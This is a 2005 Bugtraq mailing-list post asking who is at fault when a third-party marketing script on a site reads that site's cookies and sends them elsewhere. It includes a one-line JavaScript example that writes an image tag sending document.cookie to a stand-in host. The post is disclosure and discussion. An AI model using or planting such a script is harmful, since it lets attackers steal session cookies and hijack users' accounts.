lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <4283EF9E.5070700@spiderlinks.org>
Date: Thu, 12 May 2005 17:06:54 -0700
From: Tim Tompkins <timt@...derlinks.org>
To: bugtraq@...urityfocus.com
Subject: cross-domain cookie theft: who's to blame?


Before disclosing the specifics, I'm just wondering wherein the fault lies:

I visited a site, say abc.foo.com that loaded javascript from an 
external (marketing statistics) site, say xyz.bar.com.  The script from 
xyz.bar.com read the cookies set by abc.foo.com and posted them in a 
subsequent image tag as part of the query string.  Essentially, 
xyz.bar.com now has all of my abc.foo.com cookies and could potentially 
hijack any cookie-based sessions I had going.

Is this a browser problem, allowing cross-domain scripts to read each 
other's cookies, or is this just blatant abuse by abc.foo.com and/or 
xyz.bar.com?

Example from abc.foo.com
<html>
<head>
  <script language="javascript" src="http://xyz.bar.com/somescript.js">
</head>
  [ ... ]
</html>

Example of xyz.bar.com/somescript.js:

document.write('<img src="http://xyz.bar.com/img.gif?cookie=' + 
escape(document.cookie) + '">');


Regards,
Tim Tompkins




Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ